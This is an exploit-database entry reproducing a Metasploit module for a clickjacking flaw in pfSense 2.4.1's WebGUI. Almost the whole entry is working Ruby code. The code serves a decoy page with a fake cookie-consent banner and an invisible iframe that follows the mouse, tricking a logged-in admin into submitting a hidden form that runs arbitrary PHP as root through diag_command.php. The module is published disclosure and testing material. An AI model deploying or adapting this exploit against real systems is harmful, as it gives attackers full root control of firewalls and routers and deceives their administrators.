pfSense 2.4.1 CSRF Error Page Clickjacking

2017.12.13
Credit: Yorick Koster
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense', 'Description' => %q{ This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1. pfSense is a free and open source firewall and router. It was found that the pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin into interacting with a specially crafted webpage it is possible for an attacker to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user, this will result in a full compromise of the pfSense instance. }, 'Author' => 'Yorick Koster', 'Payload' => { 'BadChars' => '"' }, 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'], ['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ [ 'pfSense <= 2.4.1', { 'auto' => false } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 21 2017' ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1']) ] ) end def js_file @js ||= lambda { path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js') return File.read(path) }.call end def css_file @css ||= lambda { path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css') return File.read(path) }.call end def background_file @background ||= lambda { path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg') return File.read(path) }.call end def on_request_uri(cli, request) print_status("GET #{request.uri} #{request.headers['User-Agent']}") resp = create_response(200, "OK") if request.uri =~ /\.js$/ resp.body = js_file resp['Content-Type'] = 'text/javascript' elsif request.uri =~ /\.css$/ resp.body = css_file resp['Content-Type'] = 'text/css' elsif request.uri =~ /\.jpg$/ resp.body = background_file resp['Content-Type'] = 'image/jpg' else if datastore['TARGETURI'].end_with? '/' url = datastore['TARGETURI'] + 'diag_command.php' else url = datastore['TARGETURI'] + '/diag_command.php' end framename = rand_text_alpha(16) divname = rand_text_alpha(16) resp.body = %Q|<!DOCTYPE html> <html> <meta charset="utf-8"> <link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" /> <script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script> <script> window.addEventListener("load", function(){ window.cookieconsent.initialise({ "palette": { "popup": { "background": "#000", "text": "#0f0" }, "button": { "background": "#0f0" } }, "position": "top", "static": true }); }); </script> <script> document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;'; window.addEventListener('load', function(){ document.forms[0].post.click(); document.onmousemove = function(e) { var e = e \|\| window.event; var s = document.getElementById('#{divname}'); s.style.left = (e.clientX - 10) + 'px'; s.style.top = (e.clientY - 5) + 'px'; }; }); </script> <body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;"> <div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;"> <iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe> </div> <div style="display:none"> <form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}"> <input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" /> <input type="hidden" name="submit" value="EXECPHP" /> <input type="submit" name="post"/> </form> </div> </body> </html> | resp['Content-Type'] = 'text/html' end cli.send_response(resp) end end


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